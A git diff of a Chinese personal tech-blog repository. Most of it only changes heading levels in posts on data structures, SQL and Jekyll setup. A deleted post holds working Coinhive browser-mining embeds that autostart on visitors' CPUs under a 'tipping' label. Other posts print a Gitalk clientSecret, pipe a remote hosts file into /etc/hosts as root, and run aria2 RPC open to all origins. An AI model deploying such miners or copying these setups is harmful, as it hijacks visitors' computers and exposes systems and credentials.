@@ -151,7 +151,7 @@ $('#disqus_container .comment').on('click',function(){
});
```
-# 7.使用Gitalk添加评论功能
+## 7.使用Gitalk添加评论功能
1. 注册 `GitHub Application`,`Authorization callback URL` 填写当前使用插件页面的域名,比喻我的`https//ds19991999.github.io/`,注意注意记住最后的clientID 和 clientSecret,owner 是自己的用户名.1. 创建 comments.html(以about页面为例)
```
{% if page.comments != false %}
@@ -185,28 +185,28 @@ gitalk:
clientSecret: 30532bea61e8b63dc5a852e448621a8c89cef99b
```
1. 下载 gitalk.min.js 和 gitalk.css
下载 gitalk.min.js(放到 assets/js 文件夹下)和 gitalk.css(放到assets/css 文件夹下), push 后访问.1. 使用 GitHub 账号登陆初始化,就可以使用评论功能了.
-# 8.添加代码高亮插件
+## 8.添加代码高亮插件
两个可选插件[DlHightLight代码高亮组件](http://mihai.bazon.net/projects/javascript-syntax-highlighting-engine)和[Google Code Prettify](https://code.google.com/archive/p/google-code-prettify/)。DLHightLight支持的语言相对较少一些,有js、css、xml和html,Google的高亮插件基本上任何语言都支持,也可以自定义语言,也支持自动识别,也有行号的特别支持。
Google的高亮插件使用也比较方便,只需要在\
-# 9.增加统计插件
+## 9.增加统计插件
1. 在百度统计上注册账号并登陆,然后新增网站
1. 在 _includes 下创建 baidu-anaylysis.html,内容是百度统计生成的代码,如下图:
1. 在 head.html 文件中添加 {% include baidu-anaylysis.html %},Push后可以检查是否成功
1. 代码正确安装,可以查看报告了
-# 10.绑定域名
+## 10.绑定域名
-## 在github库中
+### 在github库中
新建一个 `CNAME` 文件(无后缀名),用文本编辑器打开,在首行添加你的网站域名,如 [http://xxxx.com](http://xxxx.com),注意前面没 [http://example.com](http://example.com) 或者 xxx.example.com。
-## 在域名解析提供商
+### 在域名解析提供商
以百度云为例:
- 先添加一个 CNAME,主机记录写 @,后面记录值写上你的 [http://xxxx.github.io](http://xxxx.github.io)
- 再添加一个 CNAME,主机记录写 www,后面记录值也是 [http://xxxx.github.io](http://xxxx.github.io)
- 这样别人用 www 和不用 www 都能访问你的网站(其实 www 的方式,会先解析成 [http://xxxx.github.io](http://xxxx.github.io),然后根据 CNAME 再变成[http://xxx.com](http://xxx.com),中间是经过一次转换的)。
-# 11.参考资料
+## 11.参考资料
[https://github.com/ds19991999/ds19991999.github.com/blob/master/README.md](https://github.com/ds19991999/ds19991999.github.com/blob/master/README.md)
[http://gitbook.cn/m/mazi/article/5af260fd6f98784056d381ce](http://gitbook.cn/m/mazi/article/5af260fd6f98784056d381ce)
[http://beiyuu.com/github-pages](http://beiyuu.com/github-pages)
[https://chrisniael.gitbooks.io/gitbook-documentation/content/index.html](https://chrisniael.gitbooks.io/gitbook-documentation/content/index.html)
-# License
+## License
GNU General Public License v3.0
diff --git a/blog/ds19991999/原创-- 在网站嵌入挖矿JS代码样式.md b/blog/ds19991999/原创-- 在网站嵌入挖矿JS代码样式.md
deleted file mode 100644
index ee2dfe2..0000000
--- a/blog/ds19991999/原创-- 在网站嵌入挖矿JS代码样式.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# 原创
-: 在网站嵌入挖矿JS代码样式
-
-# 在网站嵌入挖矿JS代码样式
-
->
-网站挖矿很不道德,纯学习娱乐,请勿用于非法途径.
-
-
-Coinhive: [https://coinhive.com](https://coinhive.com) , 可以去网站看看,不过好像已经被墙了,其JS代码被Windows防火墙视为病毒,不知道还能不能用。。。
-
-去官网注册一个账号,得几个key,去https://mymonero.com/ 注册账号,建立自己的钱包,这两个网站都需要操作,具体教程网上有。本文只提供网页样式。
-
-## 官网样式
-
-```
-<div>
- <script src="https://authedmine.com/lib/simple-ui.min.js" async></script>
- <div class="coinhive-miner"
- style="width: 100%; height: 100px"
- data-key="YjyptNPkNzUZwQonjCLhkllZAW85Axyo"
- data-autostart="true"
- data-whitelabel="false"
- data-background="#000000"
- data-text="#eeeeee"
- data-action="#00ff00"
- data-graph="#555555"
- data-threads="7"
- data-throttle="0.1">
- <em>Loading...</em>
- </div>
-</div>
-
-```
-
-## 我以前用的样式
-
-大概这个样子
-
-### ⬇⬇~ 挖 矿 打 赏 系 统 ~⬇⬇
-启动线程数 当前算力(Hashs/秒) 您已贡献(Hash单位:个)
-0 0 0
-您正在打赏中,随时可以停止。
-
-```
-<div>
- <h3 align="center">⬇⬇~ 挖 矿 打 赏 系 统 ~⬇⬇</h3>
- <script src="https://coinhive.com/lib/coinhive.min.js"></script>
- <center>
- <table >
- <tbody>
- <tr>
- <td align="center">启动线程数</td>
- <td align="center">当前算力(Hashs/秒)</td>
- <td align="center">您已贡献(Hash单位:个)</td>
- </tr>
- <tr>
- <td id="tcount" align="center">0</td>
- <td id="hps" align="center">0</td>
- <td id="ths" align="center">0</td></tr>
- <tr><td colspan="3;" id="status" align="center">您正在打赏中,随时可以停止。</td></tr>
- </tbody>
- </table>
- </center>
-
- <div><p id="minebutton" style="text-align:center;">
- <button onclick="miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)">停止挖矿打赏</button>
- </p></div>
-
- <script type="text/javascript">
- var miner=new CoinHive.User
- ("YjyptNPkNzUZwQonjCLhkllZAW85Axyo",
- "www.ds-vip.top",
- {threads:navigator.hardwareConcurrency,autoThreads:!1,throttle:.9,forceASMJS:!1});
-
- miner.start(CoinHive.FORCE_EXCLUSIVE_TAB),
- setInterval(function(){var e=miner.getNumThreads(),
- n=Math.round(100*miner.getHashesPerSecond())/100,
- t=miner.getTotalHashes();miner.getAcceptedHashes()/256;
-
- miner.isRunning()?(document.getElementById("tcount").innerHTML=e,document.getElementById("hps").innerHTML=n,
- document.getElementById("ths").innerHTML=t,document.getElementById("status").innerHTML="您正在打赏中,随时可以停止。",
- document.getElementById("minebutton").innerHTML='<button onclick="miner.stop()">停止挖矿打赏</button>'):(document.getElementById("tcount").innerHTML="0",document.getElementById("hps").innerHTML="0",document.getElementById("ths").innerHTML=t,document.getElementById("status").innerHTML="您已经停止打赏,随时可以开始。",document.getElementById("minebutton").innerHTML='<button onclick="miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)">开始挖矿打赏</button>')},1e3)
- </script>
-</div>
-
-```
-
-### ⬇⬇~ 挖 矿 打 赏 系 统 ~⬇⬇
-
-记得改key。。。
diff --git a/blog/ds19991999/原创-- 彻底解决Ubuntu联网问题——网速飞起.md b/blog/ds19991999/原创-- 彻底解决Ubuntu联网问题——网速飞起.md
deleted file mode 100644
index c971fb9..0000000
--- a/blog/ds19991999/原创-- 彻底解决Ubuntu联网问题——网速飞起.md
+++ /dev/null
@@ -1,267 +0,0 @@
-# 原创
-: 彻底解决Ubuntu联网问题——网速飞起
-
-# 彻底解决Ubuntu联网问题——网速飞起
-
-### 文章目录
-
-## 1、`mentohust`锐捷认证客户端
-
-下载地址:[http://c7.gg/aCFu4](http://c7.gg/aCFu4)
-
-```
-sudo apt-get install mentohust
-sudo mentohust -k
-sudo mentohust -uusername -p123456 -a1 -d2 -b2 -v4.10 -w
-
-```
-
-## 2、修改`hosts`并启用`ipv6`
-
->
-本文在`Ubuntu 16.04`测试通过,可以访问`Google、Facebok、Twitter、维基百科`等外网,其他平台`hosts`文件详见: [https://github.com/googlehosts/hosts](https://github.com/googlehosts/hosts/wiki/%E5%90%84%E5%B9%B3%E5%8F%B0-hosts-%E6%96%87%E4%BB%B6%E4%BD%8D%E7%BD%AE)
-
-
-### 2.1 使用`ipv6`的`host`
-1. 启动`ipv6`
-```
-sudo apt-get install miredo
-sudo gedit /etc/default/ufw
-
-```
-
-将`IPV6=no`改为`IPV6=yes`
-
-```
-sudo gedit /etc/sysctl.d/10-ipv6-privacy.conf
-# 将这两行改为0
-net.ipv6.conf.all.use_tempaddr = 2
-net.ipv6.conf.default.use_tempaddr = 2
-
-```
-1. 测试`ipv6`
-```
-ping6 ipv6.baidu.com
-
-```
-1. **校园网**是动态分配的`ipv6`地址,需要改成静态的。
-```
-sudo geidt /etc/sysctl.d/10-ipv6-privacy.conf
-
-```
-
-将`net.ipv6.conf.default.use_tempaddr`改为`0`
-
-```
-sudo sysctl --system
-
-```
-1. 修改`hosts`: [IPV6 hosts](https://github.com/lennylxx/ipv6-hosts)
-```
-sudo su
-curl https://github.com/lennylxx/ipv6-hosts/raw/master/hosts -L >> /etc/hosts
-
-```
-1. 刷新配置
-```
-sudo sysctl --system
-
-```
-
-### 2.2 `hosts`地址
-
-## 3、修改下载源
-
-### 3.1 `apt-get`下载源
-1. 首先测试适合系统最快的源:
这样它会自动匹配最佳的源,而不是网上大家所说的某某源快就选哪个,适合自己的源就是最快的源。 1. `Google搜索`该源地址并修改源
-```
-sudo gedit /etc/apt/sources.list
-
-```
-
-### 3.2 更换`pip`源
-
-`pip`国内的一些镜像,换源之后出现python2版本过低的情况导致以前的包下载不了,那就直接将文件夹删除,就能恢复原来的源。
-
-**`linux`更换`pip`源**:
-
-```
-cat > ~/.pip/pip.conf
-[global]
-index-url = https://pypi.tuna.tsinghua.edu.cn/simple
-
-```
-
-**`windows`更换`pip`源**:
-
->
-直接在user目录中创建一个pip目录,如:C:\Users\xx\pip,新建文件pip.ini,内容如下
-
-
-```
-[global]
-index-url = https://pypi.tuna.tsinghua.edu.cn/simple
-
-```
-
-### 3.3 更换`GitHub`源
-
->
-其实改`hosts`的时候已经自动改好了,你可以进去查看一下,如果没有就通过下面这种方式加上去.
-
-
-```
-sudo gedit /etc/hosts
-219.76.4.4 github-cloud.s3.amazonaws.com
-151.101.72.249 http://global-ssl.fastly.Net
-192.30.253.112 http://github.com
-
-```
-
-### 3.4 更换`npm`源
-
-```
-npm --registry https://registry.npm.taobao.org install express
-
-```
-
-```
-npm install -g cnpm --registry=https://registry.npm.taobao.org
-
-```
-
-```
-npm config get registry
-or
-npm info express
-
-```
-
-### 3.5 更换`yarn`源
-
->
-安装源和原来 npm 是一样的,可以通用
-
-
-```
-yarn config set registry 'https://registry.npm.taobao.org'
-
-```
-
-验证:
-
-```
-yarn config get registry
-
-```
-
-## 4、与云服务器传输文件
-
-为了避免每次传输文件的时候都要输入公网ip和密码挺麻烦的,所以索性就直接在服务器端配置本地`ssh`传输公匙,一劳永逸。
-
-### 4.1 配置密匙验证
-
-```
-ssh-keygen -t rsa -C "your_email@example.com"
-
-```
-1. 在服务器端用户目录创建文件`~/.ssh/authorized_keys`,把本地`id_rsa.pub`公匙添加到这个文件中就可以了。1. 在本地用户目录创建文件`~/.ssh/config`,添加如下信息:
-```
-host servername
- user username
- hostname pubic-ip
- port 22
- identityfile ~/.ssh/id_rsa
-
-```
-
-其中`servername`随便填,与下文中的传输文件对应就行,`hostname`是公网`ip`。`user`填服务器端用户名,该用户需要有对系统文件的读写能力,直接用`root` 就好啦。
-
-### 4.2 传输单个文件
-
-1、从服务器上下载文件
-
-```
-scp servername:/path/filename /local_dir_path
-
-```
-
-2、上传本地文件到服务器
-
-```
-scp /path/filename servername:/path
-
-```
-
-### 4.3 传输文件夹
-
-1、从服务器下载整个目录
-
-```
-scp -r servername:/remote_dir /local_dir
-
-```
-
-2、上传目录到服务器
-
-```
-scp -r /local_dir servername:/remote_dir
-
-```
-
-## 5、修改`DNS`
-
-修改`DNS`是为了进一步提高浏览器查询`ip`地址的速度,提高网络流畅度。
-
-```
-sudo gedit /etc/network/interfaces
-# 加上
-dns-nameservers 8.8.8.8
-dns-nameservers 240c::6666
-sudo gedit /etc/resolv.conf
-# 加上
-nameserver 8.8.8.8
-nameserver 240c::6666
-
-```
-
-```
-sudo /etc/init.d/resolvconf restart
-
-```
-
-此时重启`DNS`服务发现又没有了,解决办法是:在`/etc/resolvconf/resolv.conf.d/`目录下创建`tail`文件,写入
-
-```
-nameserver 8.8.8.8
-nameserver 240c::6666
-
-```
-
-这样再执行`sudo /etc/init.d/resolvconf restart`就`OK`了.
-
-## 6、`SSR`服务器搭建并配置`ipv6`隧道代理
-1. 申请`ipv6`的`ip`: [https://www.tunnelbroker.net/register.php](https://www.tunnelbroker.net/register.php)
->
-注意几个`ip`的区别
-
-1. 按照网上教程一键脚本配置搞定.
-## 7、搭建`aria2`服务器
-
->
-我的服务器地址,[https://download.creat.kim](https://download.creat.kim) , 你们可以上去看看,就是按照作者的教程搭的,我搭建的没有提供公共下载服务。
-
-
-```
-nohup aria2c --enable-rpc --rpc-listen-all=true --rpc-allow-origin-all &
-python -m SimpleHTTPServer 端口号 &
-
-```
-
-## 8、`nginx`多端口不同域名配置
-
->
-直接在配置文件加个`server`函数搞定
-
-
-好啦,`Ubuntu 16.04`网络环境就全部配置好啦,最重要的是可以上外网,下载网速比以前快很多倍。
**Enjoy it!**
diff --git a/blog/ds19991999/原创-- 教你屏蔽CSDN广告.md b/blog/ds19991999/原创-- 教你屏蔽CSDN广告.md
index a943596..b47858c 100644
--- a/blog/ds19991999/原创-- 教你屏蔽CSDN广告.md
+++ b/blog/ds19991999/原创-- 教你屏蔽CSDN广告.md
@@ -3,7 +3,7 @@
# 教你屏蔽CSDN广告
-## 吐槽一下
+### 吐槽一下
CSDN博客的优点就不提了,但是有一点很难忍受,那就是广告,几乎每一个页面都少不了广告。之前我就是因为受不了广告,所以干脆就不玩CSDN了,后来发现这些广告都是可以屏蔽的,只是我这种小白不清楚而已…
@@ -11,15 +11,15 @@ CSDN博客的优点就不提了,但是有一点很难忍受,那就是广告
废话不多说,开始安装插件。
-## 步骤
+### 步骤
-### 1.Stylus插件
+#### 1.Stylus插件
先在Google的扩展程序商店中搜索`Stylus`,第一个就是,有了这个插件,我们才能对网页进行自定义样式和排版修改。
这个插件真的是一个插件神器,有了它,可以安装各种第三方插件进行各种网页的自定义样式修改,还可以使用自己写的`CSS`样式进行网页优化,十分方便,比喻在`Github`上面安装几个插件,然后页面就变成这个样子了。
比喻在百度贴吧安装一个插件,然后页面就变成这个样子了,是不是很惊艳。
这些网页样式插件在 [https://userstyles.org/](https://userstyles.org/) 上面都可以找到,之后直接傻瓜式的点安装就完事了。
好了,回到我们要解决的问题,屏蔽 `CSDN` 广告。
-### 2.CSDN去广告插件
+#### 2.CSDN去广告插件
在 [https://userstyles.org/styles/browse/csdn](https://userstyles.org/styles/browse/csdn) 中搜索`CSDN去广告插件`,如下图,然后安装就可以了。
可以看到这插件还是近两天更新的,然后就被我无意中发现了,源码其实就是下面几十行。
@@ -87,7 +87,7 @@ main div:nth-child(5){
基本上这个简短的`CSS`就可以屏蔽掉CSDN广告,感谢 [Demo_Liu](https://blog.csdn.net/demo_liu/article/month/2018/08?orderby=UpdateTime) 博主提供的插件。
-### 3.其他优化
+#### 3.其他优化
在 [https://userstyles.org/styles/browse/csdn](https://userstyles.org/styles/browse/csdn) 中可以看到其他不少插件,这里我推荐一个`CSDN正文前置` 插件。
将所有样式统一换成这种左右排版格式。
源码:
diff --git a/blog/ds19991999/原创-- 最新Linux下QQ和微信的使用(很方便).md b/blog/ds19991999/原创-- 最新Linux下QQ和微信的使用(很方便).md
index cd4a092..854114f 100644
--- a/blog/ds19991999/原创-- 最新Linux下QQ和微信的使用(很方便).md
+++ b/blog/ds19991999/原创-- 最新Linux下QQ和微信的使用(很方便).md
@@ -3,28 +3,12 @@
# 最新Linux下QQ和微信的使用(很方便)
-# Linux下QQ和微信的使用(很方便)
+## Linux下QQ和微信的使用(很方便)
先安利一波,不少大佬将app做成了AppImage的格式,这可以说是Linux入门级用户的福音,不少app可以直接在linux上面运行,直接下载AppImage文件,无需配置。当然,qq和微信一直以来都是大家关注的焦点,所以这里为就分享一波在Linux系统上面qq和微信最简单的使用方法。
-### 1. 第一步获取AppImage文件
+#### 1. 第一步获取AppImage文件
官网地址:[https://appimage.github.io/apps/](https://appimage.github.io/apps/) ,这个网站都是为Linux用户提供的AppImage文件,方便用户在Linux系统上体验一些常用的app。
-微信就用官网的:[electron-wechat ](https://appimage.github.io/electron-wechat/),当然这个:[https://github.com/geeeeeeeeek/electronic-wechat](https://github.com/geeeeeeeeek/electronic-wechat) 也是非常优秀的,提供deb包,安装也很方便。
-
-而qq这个项目做的比较好:[https://github.com/askme765cs/Wine-QQ-TIM](https://github.com/askme765cs/Wine-QQ-TIM)
-
-好了,得到appimage文件就美滋滋了。
-
-### 2. 更改appimage包权限
-
-```
-chmod a+x QQ-20171129-x86_64.AppImage
-chmod a+x electron-wechat-0.1.1-x86_64.AppImage
-
-```
-
-权限改完了就直接享受Linux版的微信和qq了,运行`./QQ-20171129-x86_64.AppImage`,或者直接点击运行。是不是很方便!
-
-### 3. 上图
+微信就用官网的:[electron-wechat ](https://appimage.github.io/electron-wechat/),当然这个:[https://github.com/geeee](https://github.com/geeeeeeeeek/electronic-wechat)
diff --git a/blog/ds19991999/原创-- 第一个Shell脚本.md b/blog/ds19991999/原创-- 第一个Shell脚本.md
index c51ca04..0f040e2 100644
--- a/blog/ds19991999/原创-- 第一个Shell脚本.md
+++ b/blog/ds19991999/原创-- 第一个Shell脚本.md
@@ -3,9 +3,9 @@
# 第一个Shell脚本
-## 第一个Shell脚本
+### 第一个Shell脚本
-### hello_world脚本
+#### hello_world脚本
编写一个 Shell 脚本:**编写一个脚本**、**使脚本文件可执行**、**把脚本放置到 shell 能够找到的地方**
@@ -38,7 +38,7 @@ alien@localhost:~ $ . .bashrc
这个点(.)命令是 source 命令的同义词,一个 shell 内建命令,用来读取一个指定的 shell 命令文件, 并把它看作是从键盘中输入的一样,`.bashrc`文件存放了环境变量。
-### 脚本书写规范
+#### 脚本书写规范
```
ls -ad
@@ -116,7 +116,7 @@ token
我们 在脚本文件中嵌入正文文本,然后把它发送给一个命令的标准输入。command 是一个可以接受标准输入的命令名,token 是一个用来指示嵌入文本**结束**的字符串。here documents 中的**单引号和双引号**会失去它们在 shell 中的特殊含义,把它们看作是普通的字符。如果我们把重定向操作符从 “<<” 改为 “<<-”,shell 会**忽略在此 here document 中开头的 tab 字符**。 这就能缩进一个 here document,从而提高脚本的可读性。
-## 自顶向下设计
+### 自顶向下设计
先确定上层步骤,然后再逐步细化这些步骤的过程被称为自顶向下设计。开发一个报告产生器脚本:
diff --git a/blog/ds19991999/原创-- 第一章 数据库和SQL.md b/blog/ds19991999/原创-- 第一章 数据库和SQL.md
index d1e7873..3eba96c 100644
--- a/blog/ds19991999/原创-- 第一章 数据库和SQL.md
+++ b/blog/ds19991999/原创-- 第一章 数据库和SQL.md
@@ -7,13 +7,13 @@
参考书籍:[https://book.douban.com/subject/27055712/](https://book.douban.com/subject/27055712/)
-### 目录
+#### 目录
-## 1、法则
+### 1、法则
-## 2、SQL书写规则
+### 2、SQL书写规则
-## 3、权限管理
+### 3、权限管理
MySQL 的账户信息保存在 mysql 这个数据库中。
@@ -80,7 +80,7 @@ SET PASSWROD FOR myuser = Password('new_password');
```
-## 4、SQL常用命令
+### 4、SQL常用命令
修改MySQL提示符:
@@ -135,9 +135,9 @@ FROM mytable; -- 注释
```
-## 5、表的创建、修改和插入
+### 5、表的创建、修改和插入
-### 创建表
+#### 创建表
```
@@ -150,7 +150,7 @@ CREATE TABLE mytable (
```
-### 修改表
+#### 修改表
添加列
@@ -182,7 +182,7 @@ ALTER TABLE <原表名> to <新表名>
```
-### 插入表数据
+#### 插入表数据
普通插入,不指定列则要求全部要插入
diff --git a/blog/ds19991999/原创-- 第一章 绪论.md b/blog/ds19991999/原创-- 第一章 绪论.md
index d368be4..e00a52c 100644
--- a/blog/ds19991999/原创-- 第一章 绪论.md
+++ b/blog/ds19991999/原创-- 第一章 绪论.md
@@ -3,7 +3,7 @@
# 第一章 绪论
-# 1.代码规范
+## 1.代码规范
```
//功能函数实现
@@ -32,9 +32,9 @@ void RCR(int R[],int n,int p)
//其余的一些东西可以不用写
```
-# 2.C/C++基础
+## 2.C/C++基础
-## 2.1 数据类型
+### 2.1 数据类型
```
//结构型
@@ -73,7 +73,7 @@ int *p;
p=(int *)malloc(n * sizeof(int));
```
-## 2.2 函数
+### 2.2 函数
```
//被传入的函数的参数不会发生改变
diff --git a/blog/ds19991999/原创-- 第七章 图.md b/blog/ds19991999/原创-- 第七章 图.md
index 1b70b4f..078de15 100644
--- a/blog/ds19991999/原创-- 第七章 图.md
+++ b/blog/ds19991999/原创-- 第七章 图.md
@@ -3,33 +3,33 @@
# 第七章 图
-# 一、图的存储结构
+## 一、图的存储结构
>
-## 1.邻接矩阵
+### 1.邻接矩阵
>
-## 2.邻接表
+### 2.邻接表
>
-## 3.邻接多重表(有点看不懂…)
+### 3.邻接多重表(有点看不懂…)
>
-# 二、图的遍历
+## 二、图的遍历
-## 1.深度优先搜索遍历
+### 1.深度优先搜索遍历
>
@@ -71,7 +71,7 @@ void preorder(BTNode *p)
-## 2.广度优先搜索遍历
+### 2.广度优先搜索遍历
>
@@ -131,7 +131,7 @@ void bfs(AGraph *g)
}
```
-## 3.例程
+### 3.例程
```
//1.求不带权无向连通图G距离顶点v最远的一个顶点
@@ -210,13 +210,13 @@ int DFSTrave(AGraph *G, int i, int j)
}
```
-# 三、最小(代价)生成树
+## 三、最小(代价)生成树
>
-## 1.普里姆算法
+### 1.普里姆算法
>
@@ -262,7 +262,7 @@ void Prim(MGraph g,int v0,int &sum)
//时间复杂度:O(n^2),普里姆算法适用于稠密图
```
-## 2.克鲁斯卡尔算法
+### 2.克鲁斯卡尔算法
>
@@ -309,9 +309,9 @@ void Kruskal(MGraph g,int &sum,Road road[])
//克鲁斯卡尔算法适用于稀疏矩阵
```
-# 四、最短路径
+## 四、最短路径
-## 1.迪杰斯特拉算法
+### 1.迪杰斯特拉算法
>
@@ -386,7 +386,7 @@ void Dijkstra(MGraph g,int v,int dist[],int path[])
-## 2.费洛伊德算法
+### 2.费洛伊德算法
>
@@ -424,7 +424,7 @@ void Floyd(MGraph g,int Path[][maxSize])
}
```
-# 五、拓扑排序
+## 五、拓扑排序
>
@@ -470,13 +470,13 @@ int TopSort(AGraph *G)
-# 六、关键路径
+## 六、关键路径
>
-# 七、例程
+## 七、例程
```
//1.判断以邻接表方式存储的有向图中是否存在由顶点vi到顶点vj的路径
diff --git a/blog/ds19991999/原创-- 第三章 栈和队列.md b/blog/ds19991999/原创-- 第三章 栈和队列.md
index c554681..dd2bb6a 100644
--- a/blog/ds19991999/原创-- 第三章 栈和队列.md
+++ b/blog/ds19991999/原创-- 第三章 栈和队列.md
@@ -3,11 +3,11 @@
# 第三章 栈和队列
-# 一、基本概念
+## 一、基本概念
栈:先进先出,顺序栈和链式栈,本质上是线性表
队列:先进后出,一种操作受限的线性表
-# 二、结构体定义
+## 二、结构体定义
```
//1.顺序栈定义
@@ -47,7 +47,7 @@ typedef struct
}LiNode;
```
-# 三、顺序栈
+## 三、顺序栈
```
//1.顺序栈要素
@@ -94,7 +94,7 @@ stack[++top]=x;
x=stack[top--];
```
-# 四、链栈
+## 四、链栈
```
//1.要素
@@ -144,7 +144,7 @@ void pop(LNode *lst, int *&x)
}
```
-# 五、栈的应用
+## 五、栈的应用
```
//1.算法:判断一个表达式的括号是否配对
@@ -239,7 +239,7 @@ int pop(LNode *&lst, int &x)
}
```
-# 六、顺序队
+## 六、顺序队
```
//1.四个要素
@@ -281,7 +281,7 @@ int deQueue(SqQueue &qu, int &x)
}
```
-# 七、链队
+## 七、链队
```
//1.要素
@@ -333,7 +333,7 @@ int deQueue(LiQueue *lqu, int &x)
}
```
-# 八、实例
+## 八、实例
```
//1.共享栈s0、s1的相关操作,共享elem[0,1,...,maxSize-1]
diff --git a/blog/ds19991999/原创-- 第九章 查找.md b/blog/ds19991999/原创-- 第九章 查找.md
index 4ed598b..cb595d8 100644
--- a/blog/ds19991999/原创-- 第九章 查找.md
+++ b/blog/ds19991999/原创-- 第九章 查找.md
@@ -3,15 +3,15 @@
# 第九章 查找
-# 一、基础知识点
+## 一、基础知识点
-## 1.基本概念
+### 1.基本概念
>
-## 2.顺序查找法
+### 2.顺序查找法
>
思路:从表的一端开始,顺序扫描线性表,依次扫描到的关键字和给定值k比较
@@ -32,7 +32,7 @@ int Search(int a[],int n,int k)
//查找失败----ASL分析:ASL=n,时间复杂度O(n);
```
-## 3.折半查找法
+### 3.折半查找法
>
**思路:**
1.要求线性表**有序**,设R[low, … ,high]是当前查找区间,mid = ( low / high ) / 2;
2.将待查找k与R[mid]进行比较,相等则查找成功,返回mid,失败则确定新查找区间;
3.R[mid] > k,则high = mid - 1;若R[mid]
@@ -58,7 +58,7 @@ int HalfSearch(int R[],int low,int high,int k)
-## 4.分块查找
+### 4.分块查找
>
@@ -78,9 +78,9 @@ indexElem index[maxSize]; //定义索引表
**算法描述:**
首先确定待查找元素的块,采用二分法查找;块内元素较少,直接用顺序查找;
平均查找长度 = 二分法查找平均长度 + 顺序查找平均查找长度;
-# 二、二叉排序树与平衡二叉树
+## 二、二叉排序树与平衡二叉树
-## 1.二叉排序树
+### 1.二叉排序树
>
@@ -158,15 +158,15 @@ int judgeBST(BTNode *bt)
}
```
-## 2.平衡二叉树
+### 2.平衡二叉树
>
-# 三、B-树和B+树
+## 三、B-树和B+树
-## 1.基本概念
+### 1.基本概念
>
@@ -175,41 +175,41 @@ int judgeBST(BTNode *bt)
-## 2.基本操作
+### 2.基本操作
-## 3.B+树
+### 3.B+树
>
-# 四、散列表
+## 四、散列表
-## 1.基本概念
+### 1.基本概念
>
-## 2.Hash表建立以及冲突解决
+### 2.Hash表建立以及冲突解决
>
-## 3.常用Hash函数构造方法
+### 3.常用Hash函数构造方法
>
-## 4.常用的Hash冲突处理方法
+### 4.常用的Hash冲突处理方法
>
-## 5.散列表的性能分析
+### 5.散列表的性能分析
>
diff --git a/blog/ds19991999/原创-- 第二章 线性表.md b/blog/ds19991999/原创-- 第二章 线性表.md
index 25bba71..43f2c97 100644
--- a/blog/ds19991999/原创-- 第二章 线性表.md
+++ b/blog/ds19991999/原创-- 第二章 线性表.md
@@ -3,9 +3,9 @@
# 第二章 线性表
-# 1.线性表的基本操作
+## 1.线性表的基本操作
-## 1.1 结构体定义
+### 1.1 结构体定义
```
//顺序表
@@ -37,7 +37,7 @@ typedef struct DLNode
LNode *A = (LNode*)malloc(sizeof(LNode));
```
-## 1.2 顺序表的操作
+### 1.2 顺序表的操作
```
//向列表中插入元素x,使顺序表仍然保持递增序列
@@ -110,7 +110,7 @@ int getElem(Sqlist L,int p,int &e)
}
```
-## 1.3 单链表操作
+### 1.3 单链表操作
```
void merge(LNode *A,LNode *B,LNode *&C)
@@ -241,7 +241,7 @@ int findAndDelete(LNode *C,int x)
}
```
-## 1.4 双链表操作
+### 1.4 双链表操作
```
//尾插法建立双链表
@@ -277,13 +277,13 @@ q->next->prior=p;
free(q);
```
-## 1.5 循环链表操作
+### 1.5 循环链表操作
>
-# 2.实例
+## 2.实例
>
diff --git a/blog/ds19991999/原创-- 第五章 数组、矩阵与广义表.md b/blog/ds19991999/原创-- 第五章 数组、矩阵与广义表.md
index 994f9c8..a0d71ad 100644
--- a/blog/ds19991999/原创-- 第五章 数组、矩阵与广义表.md
+++ b/blog/ds19991999/原创-- 第五章 数组、矩阵与广义表.md
@@ -3,7 +3,7 @@
# 第五章 数组、矩阵与广义表
-# 一、矩阵的压缩存储
+## 一、矩阵的压缩存储
```
//矩阵定义
@@ -39,7 +39,7 @@ void mutmat(int C[][maxSize],int A[][maxSize],int B[][maxSzie],int m,int n,int k
}
```
-# 二、特殊矩阵和稀疏矩阵
+## 二、特殊矩阵和稀疏矩阵
```
//1.三元组表示法
@@ -109,7 +109,7 @@ void print(float B[][3])
}
```
-# 三、十字链表
+## 三、十字链表
```
//普通结点定义
@@ -177,10 +177,10 @@ int createcrossListmat(float A[][maxSize],int m, int n,int k,CrossList &M)
}
```
-# 四、广义表
+## 四、广义表
>
广义表:表元素可以是原子或者广义表的一种线性表的扩展结构
广义表的深度:表中最上层元素的个数
广义表的长度:表中括号的最大层数
表头和表尾:当广义表非空时,第一个元素为广义表的表头,其余元素组成的表是广义表的表尾
-
头尾链表存储结构(类似于不带头结点的单链表)两种结点:
原子结点:标记域和数据域
-广义表结点:标记域、头指针、尾指针
+广义表结点:标记域、头指针、尾指针
扩展线性表存储结构(类似于带头结点的单链表存储结构)l两种结点:
原子结点:标记域、数据域和尾指针域
广义表结点:标记域、头指针域和尾指针域
diff --git a/blog/ds19991999/原创-- 第六章 树与二叉树.md b/blog/ds19991999/原创-- 第六章 树与二叉树.md
index 2196e4b..9c6ff00 100644
--- a/blog/ds19991999/原创-- 第六章 树与二叉树.md
+++ b/blog/ds19991999/原创-- 第六章 树与二叉树.md
@@ -3,13 +3,13 @@
# 第六章 树与二叉树
-# 一、二叉树的主要性质
+## 一、二叉树的主要性质
>
叶子结点数:n0
单分支结点:n1
双分支结点:n2
总结点数:n0+n1+n2
总分支数:n1 + 2n2 = 总结点数 - 1 ,即n0 = n2 +1
叶子结点:双分支结点 + 1
-# 二、二叉树的存储结构
+## 二、二叉树的存储结构
```
//1.顺序存储结构:采用一维数组进行存储,适合完全二叉树,用于一般结构的二叉树则会浪费大量存储空间;
@@ -22,9 +22,9 @@ typedef struct BTNode
}BTNode;
```
-# 三、二叉树的遍历算法
+## 三、二叉树的遍历算法
-## 1.二叉树简单遍历算法
+### 1.二叉树简单遍历算法
>
@@ -65,7 +65,7 @@ void posorder(BTNode *p)
}
```
-## 2.例程
+### 2.例程
1.将表达式(a-(b+c))*(d/e)存储在以二叉链表为结构的二叉树中
@@ -248,7 +248,7 @@ BTNode *CreateBT(char pre[],char in[],int l1,int r2,int l2,int r2)
}
```
-## 3.层次遍历(很重要)
+### 3.层次遍历(很重要)
>
@@ -355,7 +355,7 @@ int maxNode(BTNode *b)
}
```
-# 四、遍历算法改进
+## 四、遍历算法改进
>
@@ -458,9 +458,9 @@ void posorderNonrecursion(BTNode *bt)
}
```
-# 五、线索二叉树
+## 五、线索二叉树
-## 1.概念描述
+### 1.概念描述
>
